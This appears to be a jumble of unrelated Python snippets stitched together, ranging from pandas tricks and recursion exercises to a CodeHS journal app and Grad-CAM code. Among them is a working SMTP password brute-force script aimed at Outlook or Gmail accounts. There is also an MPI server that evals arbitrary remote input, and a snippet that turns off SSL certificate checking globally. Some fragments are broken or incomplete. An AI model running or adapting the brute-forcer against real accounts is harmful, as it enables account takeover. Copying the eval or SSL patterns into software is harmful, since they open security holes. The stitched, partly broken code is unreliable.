print('Today: ',datetime.today().strftime('%d/%m/%Y'))
print('After Month:', date_after_month.strftime('%d/%m/%Y'))
import ast

with open('filename.txt', 'r') as f:
    mylist = ast.literal_eval(f.read())
sin(2 * pi * (frame / total_frames)) * amplitude_factor
ini_list = "[1, 2, 3, 4, 5]"
 
# printing initialized string of list and its type
print("initial string", ini_list)
print(type(ini_list))
 
# Converting string to list
res = ini_list.strip('][').split(', ')
def ipt_sheet():
    credentials = service_account.Credentials.from_service_account_file(
    './p-gsheet.json')

    scoped_credentials = credentials.with_scopes(
    ['https://www.googleapis.com/auth/spreadsheets',
    'https://www.googleapis.com/auth/drive'])

    # Authorize the client
    client = gspread.authorize(scoped_credentials)

    # Open the Google Sheet by its title
    sheet = client.open('NOTIF EXPIRED')

    # Select the specific worksheet within the sheet
    worksheet = sheet.worksheet('Sheet1')

    # Define the data to insert
    data = [[datetime.today().strftime('%m-%d-%Y'), 'Value 3', 'Value 2', 'Value 3', 'Value 4', 'val6']]

    # Specify the column to insert the data
    column_index = 2  # Example: Insert in column B

    # Find the last row with data in the specified column
    last_row = len(worksheet.col_values(2)) + 1

    # Insert the data into the specified column and row
    worksheet.insert_rows(data, row=last_row)

    print('Data inserted successfully!')
import functools


def singleton(cls):
    cls._instance = None

    @functools.wraps(cls)
    def wrapper_singleton(*args, **kwargs):
        if not cls._instance:
            cls._instance = cls(*args, **kwargs)
        return cls._instance

    return wrapper_singleton
from typing import List




class Solution:
    def subsetSums(self, arr: List[int], n: int) -> List[int]:
        ans = []


        def subsetSumsHelper(ind: int, sum: int):
            if ind == n:
                ans.append(sum)
                return
            # element is picked
            subsetSumsHelper(ind + 1, sum + arr[ind])
            # element is not picked
            subsetSumsHelper(ind + 1, sum)
        subsetSumsHelper(0, 0)
        ans.sort()
        return ans




if __name__ == "__main__":
    arr = [3, 1, 2]
    ans = Solution().subsetSums(arr, len(arr))
    print("The sum of each subset is")
    for sum in ans:
        print(sum, end=" ")
    print()
def get_permutations(string):
    # Base case: If the string is empty, return an empty list
    if len(string) == 0:
        return []

    # Base case: If the string has only one character, return a list with that character
    if len(string) == 1:
        return [string]

    permutations = []  # List to store permutations

    # Iterate through each character in the string
    for i in range(len(string)):
        current_char = string[i]

        # Generate all permutations of the remaining characters
        remaining_chars = string[:i] + string[i+1:]
        remaining_perms = get_permutations(remaining_chars)

        # Append the current character to each permutation of the remaining characters
        for perm in remaining_perms:
            permutations.append(current_char + perm)

    return permutations

# Example usage
input_string = "abc"
permutations_list = get_permutations(input_string)
print(permutations_list)
string = "Hello World"


def reversing_string(string):
    if (string == ""):
        return ""
    return reversing_string(string[1:]) + string[0]


str = reversing_string(string)
print(str)
df['column'].unique()  # Unique Values
df['column'].nunique() # Number of unique values
df['column'].value_counts() # Both
try:
	6/0
except:
	print(sys.exc_info()[0])
pd.to_datetime(df_apto['AF_DT_EMISSAO_NF'].astype('str').str[:8],format='%Y%m%d',errors='coerce')
# Type string
pyautogui.typewrite("Hello, World!")

# Move cursor slowly
target_x = 500
target_y = 500
pyautogui.moveTo(target_x, target_y, duration=2)

# Click mouse
pyautogui.click()
pyautogui.click(button='right')
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
from torch.utils.data import DataLoader
from torchvision import datasets, transforms

import matplotlib.pyplot as plt
#! /usr/bin/env python
from mpi4py import MPI

rank = MPI.COMM_WORLD.Get_rank()

def log(msg, *args):
    if rank == 0:
        print msg % args

info = MPI.INFO_NULL
service = "pyeval"
log("looking-up service '%s'", service)
port = MPI.Lookup_name(service)
log("service located  at port '%s'", port)

root = 0
log('waiting for server connection...')
comm = MPI.COMM_WORLD.Connect(port, info, root)
log('server connected...')

while True:
    done = False
    if rank == root:
        try:
            message = raw_input('pyeval>>> ')
            if message == 'quit':
                message = None
                done = True
        except EOFError:
            message = None
            done = True
        comm.send(message, dest=0, tag=0)
    else:
        message = None
    done = MPI.COMM_WORLD.bcast(done, root)
    if done:
        break

log('disconnecting server...')
comm.Disconnect()
#! /usr/bin/env python

from mpi4py import MPI

rank = MPI.COMM_WORLD.Get_rank()

def log(msg, *args):
    if rank == 0:
        print msg % args

log('')

info = MPI.INFO_NULL

port = MPI.Open_port(info)
log("opened port: '%s'", port)

service = 'pyeval'
MPI.Publish_name(service, info, port)
log("published service: '%s'", service)

MPI.COMM_WORLD.Spawn("./client.py", maxprocs=1)

root = 0
log('waiting for client connection...')
comm = MPI.COMM_WORLD.Accept(port, info, root)
log('client connected...')

while True:
    done = False
    if rank == root:
        message = comm.recv(source=0, tag=0)
        if message is None:
            done = True
        else:
            try:
                print 'eval(%r) -> %r' % (message, eval(message))
            except StandardError:
                print "invalid expression: %s" % message
    done = MPI.COMM_WORLD.bcast(done, root)
    if done:
        break

log('disconnecting client...')
comm.Disconnect()

log('upublishing service...')
MPI.Unpublish_name(service, info, port)

log('closing port...')
MPI.Close_port(port)
A função cell no FPDF tem os seguintes parâmetros:

w: Largura da célula (float ou int).
h: Altura da célula (float ou int).
txt: Conteúdo do texto a ser adicionado (str).
border: Indica se deve ser exibida uma borda ao redor da célula. Os valores possíveis são 0 (sem borda) ou 1 (com borda). Por padrão, é 0 (int).
ln: Indica a posição vertical após a chamada da função. Os valores possíveis são:
0: à direita (mesma linha)
1: começo da próxima linha
2: abaixo
align: Alinhamento do texto dentro da célula. Os valores possíveis são:
'L' ou 'l': alinhamento à esquerda
'C' ou 'c': alinhamento centralizado
'R' ou 'r': alinhamento à direita
No exemplo pdf.cell(0, 10, 'Texto com a fonte Poppins', 0, 1, 'C'), os parâmetros são usados da seguinte forma:

0: A largura da célula é definida como 0, o que significa que a largura será calculada automaticamente para se ajustar ao conteúdo do texto.
10: A altura da célula é definida como 10 unidades.
'Texto com a fonte Poppins': O texto que será exibido dentro da célula.
0: Não será exibida uma borda ao redor da célula.
1: A chamada da função cell irá para a próxima linha após a execução.
'C': O texto será alinhado centralmente dentro da célula.
import os
import shutil

os.rename("path/to/current/file.foo", "path/to/new/destination/for/file.foo")
os.replace("path/to/current/file.foo", "path/to/new/destination/for/file.foo")
shutil.move("path/to/current/file.foo", "path/to/new/destination/for/file.foo")
import feedparser
import requests
import pathlib

# Set the path to the folder
folder_path = pathlib.Path("C:/Python311/OARscripts/Experiments/BlowingBubbles")

# Delete existing files in the folder
for file in folder_path.glob("*"):
    try:
        file.unlink()
    except Exception as e:
        print(f"Error deleting {file}: {e}")

# Download latest episode
url = "https://feeds.accessmedia.nz/V2/itunes/95444842-39c8-4d47-b4c6-4a0fd697e569"
feed = feedparser.parse(url)
latest_entry = feed.entries[0]
file_url = latest_entry.enclosures[0].url
destination_folder = folder_path
file_name = pathlib.Path(file_url).name
new_file_name = "new_file_name.mp3"

try:
    # Download the file
    response = requests.get(file_url)
    with open(destination_folder / file_name, "wb") as f:
        f.write(response.content)

    # Rename the file
    (destination_folder / file_name).rename(destination_folder / new_file_name)

    print(f"File downloaded to {destination_folder / new_file_name}")
except Exception as e:
    print(f"Error downloading or renaming file: {e}")
class Robot:
    def place_bottle(self, station) → None:
        ...
        pass

    def remove_bottle(self, station) → None:
        ...
        pass


class Station:
    def start_filling(self, station) → None:
        ...

    def time_to_fill(self, station) → int:
        ...

    def has_bottle(self, station) -> bool:
        ...

    def is_filling(self, station) -> bool:
        ...



def first_flow(stations, robot):
    for station in stations:
        if not station.has_bottle() and not station.is_filling():
            robot.place_bottle(station) # blocks for 1 second
            station.start_filling()
        elif station.has_bottle() and station.is_filling() and station.time_to_fill() == 0:
            station.stop_filling()
            robot.remove_bottle(station) # blocks for 2 seconds

def second_flow(stations, robot):
    # Objetivo no derramar
    ready_to_fill = []
    ready_to_remove = []
    while len(ready_to_fill) == len(stations):
        for station in stations:
            if not station.has_bottle():
                robot.place_bottle(station) # blocks for 1 second
                ready_to_fill.append(station)

    for station in ready_to_fill:
        station.start_filling()

    while len(ready_to_remove) == len(stations):
        for station in stations:
            if station.has_bottle() and station.is_filling() and station.time_to_fill() == 0:
                station.stop_filling()
                ready_to_remove.append(station)

    for station in ready_to_fill:
        station.remove_bottle()

   
# Estado global del proceso
# Staciones llenado botellas -> que necesito apagar -> prioridad
# Staciones vacias -> Que necesitan botellas para llenar -> si me alcanza el tiempo
# Staciones apagadas con botellas -> que necesitan ser sacadas -> solo si me alcanza el tiempo y no staciones vacias


def third_flow(stations, robot):
    # Tiempo variado de estaciones 
    # quiero retirar las botellas que ya esten listas si es que no tengo que detener otras botellas.
    filling_bottles_stations = []
    empty_stations = []
    turned_off_stations = []

    updated_filling_bottles = []
    for station in filling_bottles_stations:
        if station.time_to_fill() == 0:
            station.stop_filling()
            turned_off_stations.append(station)
        else:
            updated_filling_bottles.append(station)
    filling_bottles_stations = updated_filling_bottles





if __name__ == "__main__":
    stations = [Station() for _ in range(8)]
    robot = Robot()
    while True:
        basic_flow(stations, robot)



#Post prepare_data_for_forecast
input_selected_items_df = pd.read_excel('item_list_2023-05-02.xlsx')
target_df = target_df[target_df['ITEM_ID'].isin(input_selected_items_df['ITEM_ID'])]
#!/usr/bin/python
# Dyrk.org 2016-2017

import smtplib

# Outlook.com
smtp_s   = 'smtp-mail.outlook.com'

# Gmail
# smtp_s = 'smtp.gmail.com'

smtp_p = 587
sender = 'target_adress@hotmail.com'
dico   = 'pwdlist.txt'

with open(dico) as f:
    for password in f:
        password = password.replace('\n', '')
        try:
            m = smtplib.SMTP(smtp_s, smtp_p)
            m.ehlo()
            m.starttls()
            m.login(sender, password)
            print '[OK] => ' + sender + ' : ' + password
            m.close()
            exit()
        except smtplib.SMTPAuthenticationError, e:
            if e[0] == 534:  # Gmail
                print '[OK] => ' + sender + ' : ' + password
                print e
                exit()
            else:
                print 'try ' + password + ' .... err. ' + str(e[0]) \
                    + '   >>>  ' + e[1]

			
import pandas as pd

import warnings
warnings.filterwarnings('ignore')
pd.set_option('display.max_columns', None) 
pd.set_option('display.expand_frame_repr', False)
pd.set_option('max_colwidth', None)
pd.set_option('display.float_format', lambda x: '%.3f' % x)
import nltk
import ssl

try:
    _create_unverified_https_context = ssl._create_unverified_context
except AttributeError:
    pass
else:
    ssl._create_default_https_context = _create_unverified_https_context

nltk.download()
def win_spec(x,buff_s):
    
    window = np.blackman(buff_s)
    mat = frame(x,buff_s,int(buff_s/2))
    
    # extra step because overwriting can throw errors sometimes
    temp_array = np.zeros(np.shape(mat))
    
    for i in range(0,np.shape(mat)[1]):
        temp_array[:,i] += mat[:,i]*window
        
    fft_col = 10*np.log(np.abs(np.fft.fft(temp_array,axis=0)))
    return fft_col, np.shape(mat)[1]
import os
import tkinter as tk
from tkinter import filedialog, messagebox

def seleccionar_carpeta():
    carpeta = filedialog.askdirectory()
    if carpeta:
        entrada_carpeta.delete(0, tk.END)
        entrada_carpeta.insert(0, carpeta)

def renombrar_archivos():
    carpeta = entrada_carpeta.get()
    texto_original = entrada_original.get()
    texto_nuevo = entrada_nuevo.get()

    if not carpeta or not texto_original:
        messagebox.showwarning("Campos incompletos", "Por favor, selecciona una carpeta y completa el texto a reemplazar.")
        return

    archivos_renombrados = 0
    for nombre_archivo in os.listdir(carpeta):
        if texto_original in nombre_archivo:
            nuevo_nombre = nombre_archivo.replace(texto_original, texto_nuevo)
            ruta_vieja = os.path.join(carpeta, nombre_archivo)
            ruta_nueva = os.path.join(carpeta, nuevo_nombre)
            os.rename(ruta_vieja, ruta_nueva)
            archivos_renombrados += 1

    messagebox.showinfo("Proceso finalizado", f"Se renombraron {archivos_renombrados} archivos.")

def añadir_texto_al_final():
    carpeta = entrada_carpeta.get()
    texto_final = entrada_final.get()

    if not carpeta or not texto_final:
        messagebox.showwarning("Campos incompletos", "Por favor, completa el campo de texto a añadir.")
        return

    archivos_modificados = 0
    for nombre_archivo in os.listdir(carpeta):
        ruta_vieja = os.path.join(carpeta, nombre_archivo)
        nombre_base, extension = os.path.splitext(nombre_archivo)
        nuevo_nombre = f"{nombre_base}{texto_final}{extension}"
        ruta_nueva = os.path.join(carpeta, nuevo_nombre)
        os.rename(ruta_vieja, ruta_nueva)
        archivos_modificados += 1

    messagebox.showinfo("Proceso finalizado", f"Se añadieron textos a {archivos_modificados} archivos.")

# Interfaz gráfica
root = tk.Tk()
root.title("Renombrar o añadir texto a archivos")

tk.Label(root, text="Carpeta:").grid(row=0, column=0, sticky="e")
entrada_carpeta = tk.Entry(root, width=50)
entrada_carpeta.grid(row=0, column=1)
tk.Button(root, text="Seleccionar", command=seleccionar_carpeta).grid(row=0, column=2)

tk.Label(root, text="Texto a reemplazar:").grid(row=1, column=0, sticky="e")
entrada_original = tk.Entry(root)
entrada_original.grid(row=1, column=1)

tk.Label(root, text="Texto nuevo:").grid(row=2, column=0, sticky="e")
entrada_nuevo = tk.Entry(root)
entrada_nuevo.grid(row=2, column=1)

tk.Label(root, text="Texto a añadir al final:").grid(row=3, column=0, sticky="e")
entrada_final = tk.Entry(root)
entrada_final.grid(row=3, column=1)

tk.Button(root, text="Renombrar", command=renombrar_archivos).grid(row=4, column=1, pady=10, sticky="w")
tk.Button(root, text="Añadir texto al final", command=añadir_texto_al_final).grid(row=4, column=1, pady=10, sticky="e")

root.mainloop()
raceback (most recent call last):
  File "./download_ecmwf_data.py", line 27, in <module>        
    f.write(data+' - '+e)
TypeError: can only concatenate str (not "NameError") to str   
root@aws:~/Lake_middle/meteo_scripts/main_scripts# nano download_ecmwf_data.py
lst_estoque = map( str, df_estoque.columns)
lst_estoque = list(map( lambda x: x.replace( 'QLID_', ''), lst_estoque))
"""
SECTION 1:
In this first section you will find values and lists of values that are esential for the core functionality of the program.
"""
#This changes the size of the canvas
set_size(420,540) 

#This list contains the hexadeciaml number of the colors for each cover theme
#Color 1 is Blue
#Color 2 is Brown
#Color 3 is Pink 
COVER_COLORS = { 1: "#004aad" , 2: "#785326", 3: "#ff66c4"}

#Dictoniary with the links to the pictures of the covers that were made by the two participants of this project on Canva.
#Cover 1 stores the 'sports' 
#Cover 2 stores the 'minimalist'
#Cover 3 stores the 'disco'
COVERS = {1:"https://codehs.com/uploads/09e8c629d421cb66645de71dde8b4798", 2:  "https://codehs.com/uploads/af0e91788463ead695681f2283840ebe", 3:"https://codehs.com/uploads/54705063a2a26241f5acafb945d75164"}

#Dictionary with the links to the pictures of the emojis
#Credited at the end of the code.
#Emoji 1 is Sad
#Emoji 2 is Serious
#Emoji 3 is Happy
FEELINGS = ["https://codehs.com/uploads/704376e1c39be26d465a9d0404d542b3","https://codehs.com/uploads/54d2f29719875ed8fd92f9f9bba4b9bc", "https://codehs.com/uploads/cb753db8cc445e6c57797d883aaadcd0"]

#Dictionary with the links to the quote 
#Quote 1 is the sport theme quote
#Quote 2 is the minimalist theme quote
#Quote 3 is the disco theme quote
QUOTES = {1: "https://codehs.com/uploads/9ed1eb5685b925a27ad6913fe4b04e66", 2: "https://codehs.com/uploads/64454ad9f06c2424cc6223c1c5d4a3aa", 3: "https://codehs.com/uploads/48f6c924027970db60c9a044736ffb36"}

#This lists will be useful to simplify the code and make it more readable 
user_cover = ""

user_name = input("What's your name?")

"""
SECTION 2:
This part of the code will be useful to create the first page of the Bullet Journal, in other words, the cover of the notebook. 
During this section, the user will be selecting a number of theme that he or she wants. The theme and colors will be applied to the whole notebook. 
"""
#The following functions and loops will be useful to CREATE the personalized cover (theme and name) 

#Signature for the cover which is useful to identify whose Journal this is
#The signature will appear at the bottom of the cover
def cover_name(cover_selection):
    cover_signature = Text("By " + user_name)
    cover_signature.set_color(COVER_COLORS[cover_selection])
    cover_signature.set_font("15pt Comic Sans")
    cover_signature.set_position(210 - cover_signature.get_width()/2, 540 - cover_signature.get_height()*2 )
    add(cover_signature)

#Displays the information button on the cover
#The button doesn't work yet, this only adds the button to the cover.
def info_button_1():
    circle = Circle(15)
    circle.set_position(390, 30)
    circle.set_color(Color.blue)
    add(circle)
    i = Text("i")
    i.set_position(386, 40)
    i.set_color(Color.white)
    i.set_font("20pt Times New Roman")
    add(i)
    
#This functions makes the info_button works when the user clicks on it.
#The information is meant to show overall instructions so the user can start to use the journal.
def info_click(x,y):
    if (x > 375) and (x < 405):
        if (y > 15) and (y < 45):
            print ("""WELCOME TO YOUR OWN BULLET JOURNAL!! We hope you have a great time using this program
            
            CONTROL LIST:
                - Right Arrow: Move to next page
                - Left Arrow: Move to the previous page 
                - Left Click: Select and interact with your Bullet Journal
                """)
    elif (x > 370) and (x < 410):
        if (y > 505) and (y < 535):
            return
    
#Displays the button that will move the user to the next page
#This only adds the button to the cover, not the functionality
def next_page(): 
    circle_next = Circle(15)
    circle_next.set_position(395, 520)
    circle_next.set_color(COVER_COLORS[cover_selection])
    add(circle_next)
    line1 = Line(390, 520, 400, 520)
    line1.set_color(Color.white)
    add(line1)
    line2 = Line(395,515,400,520)
    line2.set_color(Color.white)
    add(line2)
    line3 = Line(395,525,400,520)
    line3.set_color(Color.white)
    add(line3)
    
#This makes the next_page button to work
#The button moves the user to page_1, where they will write about their day
def next_page_click(x,y):
    global current_page
    if (x > 370) and (x < 410):
        if (y > 505) and (y < 535):
            print_page()
    

#Prints the cover image of the user's preference (1,2, or 3) 
#The cover includes the user's name, the information button defined previously, and next page buttons.
def print_cover(cover_selection):
    cover = Image(COVERS[cover_selection])
    cover.set_size(420,540)
    cover.set_position(0,0)
    add(cover)
    cover_name(cover_selection)
    info_button_1()
    next_page()
    
#This loop avoids the user from entering a not valid value and having an error
while True:
    try:
        cover_selection = int(input("""Select the number of the theme for your cover 
        1: Sports 
        2: Minimalist 
        3: Disco"""))
        if (cover_selection > 0) and (cover_selection < 4):
            print_cover(cover_selection)
            user_cover = cover_selection
            break 
        else:
            continue 
    except ValueError:
        continue 
 
#The following functions and loops will be useful to CREATE the personalized page where the user will write about its day

#Displays the button that will move the user to the previous page, the cover
#This doens't work yet, it is just the button.
def previous_page():
    circle_previous = Circle(15)
    circle_previous.set_position(30, 520)
    circle_previous.set_color(COVER_COLORS[cover_selection])
    add(circle_previous)
    line1 = Line(25, 520, 35, 520)
    line1.set_color(Color.white)
    add(line1)
    line2 = Line(30,525,24,520)
    line2.set_color(Color.white)
    add(line2)
    line3 = Line(30,515,25,520)
    line3.set_color(Color.white)
    add(line3)
    
#Adds functionality to the previous_page button
#The button moves the user to the cover they personalized
def previous_page_click(x,y):
    if (x > 5) and (x < 45):
        if (y > 505) and (y < 535):
            print_cover(cover_selection)
    
#This adds the user's name to the bottom of the page
def page_signature():
    tag = Text(user_name + "'s Journal")
    tag.set_color("#ebd1a7")
    tag.set_font("15pt Comic Sans")
    tag.set_position(210 - tag.get_width()/2, 540 - tag.get_height()/2 )
    add(tag)

#Adds the title to the page of the journal
def title():
    title = Text("MY DAY")
    title.set_position(210 - title.get_width(), 56)
    title.set_color(COVER_COLORS[cover_selection])
    title.set_font("50pt Fantasy")
    add(title)
    

#These functions all come together to promt the use for their mood
#After, it will display an emoji according to their rating
def feeling():
    feeling_sqr = Rectangle(170,50)
    feeling_sqr.set_position(20, 92)
    feeling_sqr.set_color(COVER_COLORS[cover_selection]) 
    add(feeling_sqr)
    feeling_txt = Text("Mood")
    feeling_txt.set_position(60, 134)
    feeling_txt.set_color(Color.white)
    feeling_txt.set_font("30pt Fantasy")
    add(feeling_txt)

def feeling_click(x,y):
    if (x > 20) and (x < 180):
        if (y > 92) and (y < 142):
            feeling_question()

def feeling_question():
    while True:
        try:
            feeling_number = int(input("""On a scale of 1-5, how are you feeling? 
            5 = Best
            1 = Worst"""))
            
            if feeling_number < 3 and feeling_number > 0:
                sad=Image(FEELINGS[0])
                sad.set_size(170, 170)
                sad.set_position(20,150)
                add(sad)
                break
            
            elif feeling_number == 3:
                normal=Image(FEELINGS[1])
                normal.set_size(170, 170)
                normal.set_position(20,150)
                add(normal)
                break
            
            elif feeling_number > 3 and feeling_number < 6:
                happy=Image(FEELINGS[2])
                happy.set_size(170, 170)
                happy.set_position(20,150)
                add(happy)
            
                break
            
            else: 
                continue
        except ValueError:
            continue

#These functions all come together to promt the use for the number of glasses of water they had and display it
def water():
    water_sqr = Rectangle(170,50)
    water_sqr.set_position(210, 92)
    water_sqr.set_color(COVER_COLORS[cover_selection]) 
    add(water_sqr)
    water_txt = Text("Glasses of water")
    water_txt.set_position(215, 125)
    water_txt.set_color(Color.white)
    water_txt.set_font("18pt Fantasy")
    add(water_txt)

def water_click(x,y):
    if (x > 210) and (x < 380):
        if (y > 92) and (y < 142):
            water_question()

def water_question():
    while True:
        try:
            water_number = int(input("How many glasses of water did you drink?"))
            water_display_txt = Text(water_number)
            water_display_txt.set_position(280, 180)
            water_display_txt.set_color(Color.black)
            water_display_txt.set_font("40pt Impact")
            add(water_display_txt)
            break
        except ValueError:
            continue


#These functions all come together to promt the use for the number of meals they had and display it
def meals():
    meals_sqr = Rectangle(170,50)
    meals_sqr.set_position(210, 192)
    meals_sqr.set_color(COVER_COLORS[cover_selection]) 
    add(meals_sqr)
    meals_txt = Text("Meals")
    meals_txt.set_position(247, 231)
    meals_txt.set_color(Color.white)
    meals_txt.set_font("30pt Fantasy")
    add(meals_txt)

def meals_click(x,y):
    if (x > 210) and (x < 380):
        if (y > 192) and (y < 242):
            meals_question()
            
def meals_question():
    while True:
        try:
            meals_number = int(input("How many meals did you have?"))
            meals_display_txt = Text(meals_number)
            meals_display_txt.set_position(280, 280)
            meals_display_txt.set_color(Color.black)
            meals_display_txt.set_font("40pt Impact")
            add(meals_display_txt)
            break
        except ValueError:
            continue

#These functions all come together to promt the use for the number of hours of sleep they had and display it
def sleep():
    sleep_sqr = Rectangle(170,50)
    sleep_sqr.set_position(210, 292)
    sleep_sqr.set_color(COVER_COLORS[cover_selection]) 
    add(sleep_sqr)
    sleep_txt = Text("Hours of sleep")
    sleep_txt.set_position(218, 325)
    sleep_txt.set_color(Color.white)
    sleep_txt.set_font("20pt Fantasy")
    add(sleep_txt)

def sleep_click(x,y):
    if (x > 220) and (x < 380):
        if (y > 292) and (y < 342):
            sleep_question()

def sleep_question():
    while True:
        try:
            sleep_number = int(input("How many hours of sleep did you get?"))
            sleep_display_txt = Text(sleep_number)
            sleep_display_txt.set_position(280, 380)
            sleep_display_txt.set_color(Color.black)
            sleep_display_txt.set_font("40pt Impact")
            add(sleep_display_txt)
            break
        except ValueError:
            continue
    


#These functions all come together to promt the use for the number of glasses of water they had and display it
def assignment():
    assignment_sqr = Rectangle(170,50)
    assignment_sqr.set_position(210, 392)
    assignment_sqr.set_color(COVER_COLORS[cover_selection]) 
    add(assignment_sqr)
    assignment_txt = Text("Assignments done")
    assignment_txt.set_position(215, 425)
    assignment_txt.set_color(Color.white)
    assignment_txt.set_font("16pt Fantasy")
    add(assignment_txt)


def assignment_click(x,y):
    if (x > 210) and (x < 380):
        if (y > 392) and (y < 442):
            assignment_question()
            
def assignment_question():
    while True:
        try:
            assignment_number = int(input("How many assignments did you complete?"))
            assignment_display_txt = Text(assignment_number)
            assignment_display_txt.set_position(280, 480)
            assignment_display_txt.set_color(Color.black)
            assignment_display_txt.set_font("40pt Impact")
            add(assignment_display_txt)
            break 
        except ValueError:
            continue

#This function display a motivational quote for the user
def quote():
    quote = Image(QUOTES[cover_selection])
    quote.set_size(190,190)
    quote.set_position(10,322)
    add(quote)
    
#This function collects all titles on the second page that promt the user for data
def title_squares():
    feeling()
    add_mouse_click_handler(feeling_click)
    water()
    add_mouse_click_handler(water_click)
    meals()
    add_mouse_click_handler(meals_click)
    sleep()
    add_mouse_click_handler(sleep_click)
    assignment()
    add_mouse_click_handler(assignment_click)

#Displays the page which will have the information the user edits according to their day
def print_page():
    PAGE_BACKGROUND = Image("https://codehs.com/uploads/de707bc143c3e9f941fd380d4048cf36")
    PAGE_BACKGROUND.set_size(420, 540)
    PAGE_BACKGROUND.set_position(0,0)
    add(PAGE_BACKGROUND)
    page_signature()
    title()
    previous_page()
    title_squares()
    quote()
    
"""
Section 3:
Calling the mouse events for the info, previous and next page buttons. 
"""
add_mouse_click_handler(info_click)
add_mouse_click_handler(previous_page_click)
add_mouse_click_handler(next_page_click)



"""
CITATIONS:

Emojis:
Happy:
"Happy Free Icons Designed By Freepik". Flaticon, 2023, https://www.flaticon.com/free-icon/happy_1621782. Accessed 27 Apr 2023.
Serious:
"Meh Free Icons Designed By Freepik". Flaticon, 2023, https://www.flaticon.com/free-icon/meh_8538357. Accessed 27 Apr 2023."
Sad:
"Unhappy Free Icons Designed By Freepik". Flaticon, 2023, https://www.flaticon.com/free-icon/unhappy_8538354. Accessed 27 Apr 2023.
"""
import torch
from torch.autograd import Variable
from torch.autograd import Function
from torchvision import models
from torchvision import utils
import cv2
import sys
import numpy as np
import argparse

class FeatureExtractor():
    """ Class for extracting activations and 
    registering gradients from targetted intermediate layers """
    def __init__(self, model, target_layers):
        self.model = model
        self.target_layers = target_layers
        self.gradients = []

    def save_gradient(self, grad):
        self.gradients.append(grad)

    def __call__(self, x):
        outputs = []
        self.gradients = []
        for name, module in self.model._modules.items():
            x = module(x)
            if name in self.target_layers:
                x.register_hook(self.save_gradient)
                outputs += [x]
        return outputs, x

class ModelOutputs():
    """ Class for making a forward pass, and getting:
    1. The network output.
    2. Activations from intermeddiate targetted layers.
    3. Gradients from intermeddiate targetted layers. """
    def __init__(self, model, target_layers):
        self.model = model
        self.feature_extractor = FeatureExtractor(self.model.features, target_layers)

    def get_gradients(self):
        return self.feature_extractor.gradients

    def __call__(self, x):
        target_activations, output  = self.feature_extractor(x)
        output = output.view(output.size(0), -1)
        output = self.model.classifier(output)
        return target_activations, output

def preprocess_image(img):
    means=[0.485, 0.456, 0.406]
    stds=[0.229, 0.224, 0.225]

    preprocessed_img = img.copy()[: , :, ::-1]
    for i in range(3):
        preprocessed_img[:, :, i] = preprocessed_img[:, :, i] - means[i]
        preprocessed_img[:, :, i] = preprocessed_img[:, :, i] / stds[i]
    preprocessed_img = \
        np.ascontiguousarray(np.transpose(preprocessed_img, (2, 0, 1)))
    preprocessed_img = torch.from_numpy(preprocessed_img)
    preprocessed_img.unsqueeze_(0)
    input = Variable(preprocessed_img, requires_grad = True)
    return input

def show_cam_on_image(img, mask):
    heatmap = cv2.applyColorMap(np.uint8(255*mask), cv2.COLORMAP_JET)
    heatmap = np.float32(heatmap) / 255
    cam = heatmap + np.float32(img)
    cam = cam / np.max(cam)
    cv2.imwrite("cam.jpg", np.uint8(255 * cam))

class GradCam:
    def __init__(self, model, target_layer_names, use_cuda):
        self.model = model
        self.model.eval()
        self.cuda = use_cuda
        if self.cuda:
            self.model = model.cuda()

        self.extractor = ModelOutputs(self.model, target_layer_names)

    def forward(self, input):
        return self.model(input) 

    def __call__(self, input, index = None):
        if self.cuda:
            features, output = self.extractor(input.cuda())
        else:
            features, output = self.extractor(input)

        if index == None:
            index = np.argmax(output.cpu().data.numpy())

        one_hot = np.zeros((1, output.size()[-1]), dtype = np.float32)
        one_hot[0][index] = 1
        one_hot = Variable(torch.from_numpy(one_hot), requires_grad = True)
        if self.cuda:
            one_hot = torch.sum(one_hot.cuda() * output)
        else:
            one_hot = torch.sum(one_hot * output)

        self.model.features.zero_grad()
        self.model.classifier.zero_grad()
        one_hot.backward(retain_graph=True)

        grads_val = self.extractor.get_gradients()[-1].cpu().data.numpy()

        target = features[-1]
        target = target.cpu().data.numpy()[0, :]

        weights = np.mean(grads_val, axis = (2, 3))[0, :]
        cam = np.zeros(target.shape[1 : ], dtype = np.float32)

        for i, w in enumerate(weights):
            cam += w * target[i, :, :]

        cam = np.maximum(cam, 0)
        cam = cv2.resize(cam, (224, 224))
        cam = cam - np.min(cam)
        cam = cam / np.max(cam)
        return cam

class GuidedBackpropReLU(Function):

    def forward(self, input):
        positive_mask = (input > 0).type_as(input)
        output = torch.addcmul(torch.zeros(input.size()).type_as(input), input, positive_mask)
        self.save_for_backward(input, output)
        return output

    def backward(self, grad_output):
        input, output = self.saved_tensors
        grad_input = None

        positive_mask_1 = (input > 0).type_as(grad_output)
        positive_mask_2 = (grad_output > 0).type_as(grad_output)
        grad_input = torch.addcmul(torch.zeros(input.size()).type_as(input), torch.addcmul(torch.zeros(input.size()).type_as(input), grad_output, positive_mask_1), positive_mask_2)

        return grad_input

class GuidedBackpropReLUModel:
    def __init__(self, model, use_cuda):
        self.model = model
        self.model.eval()
        self.cuda = use_cuda
        if self.cuda:
            self.model = model.cuda()

        # replace ReLU with GuidedBackpropReLU
        for idx, module in self.model.features._modules.items():
            if module.__class__.__name__ == 'ReLU':
                self.model.features._modules[idx] = GuidedBackpropReLU()

    def forward(self, input):
        return self.model(input)

    def __call__(self, input, index = None):
        if self.cuda:
            output = self.forward(input.cuda())
        else:
            output = self.forward(input)

        if index == None:
            index = np.argmax(output.cpu().data.numpy())

        one_hot = np.zeros((1, output.size()[-1]), dtype = np.float32)
        one_hot[0][index] = 1
        one_hot = Variable(torch.from_numpy(one_hot), requires_grad = True)
        if self.cuda:
            one_hot = torch.sum(one_hot.cuda() * output)
        else:
            one_hot = torch.sum(one_hot * output)

        # self.model.features.zero_grad()
        # self.model.classifier.zero_grad()
        one_hot.backward(retain_graph=True)

        output = input.grad.cpu().data.numpy()
        output = output[0,:,:,:]

        return output

def get_args():
    parser = argparse.ArgumentParser()
    parser.add_argument('--use-cuda', action='store_true', default=False,
                        help='Use NVIDIA GPU acceleration')
    parser.add_argument('--image-path', type=str, default='./examples/both.png',
                        help='Input image path')
    args = parser.parse_args()
    args.use_cuda = args.use_cuda and torch.cuda.is_available()
    if args.use_cuda:
        print("Using GPU for acceleration")
    else:
        print("Using CPU for computation")

    return args

if __name__ == '__main__':
    """ python grad_cam.py <path_to_image>
    1. Loads an image with opencv.
    2. Preprocesses it for VGG19 and converts to a pytorch variable.
    3. Makes a forward pass to find the category index with the highest score,
    and computes intermediate activations.
    Makes the visualization. """

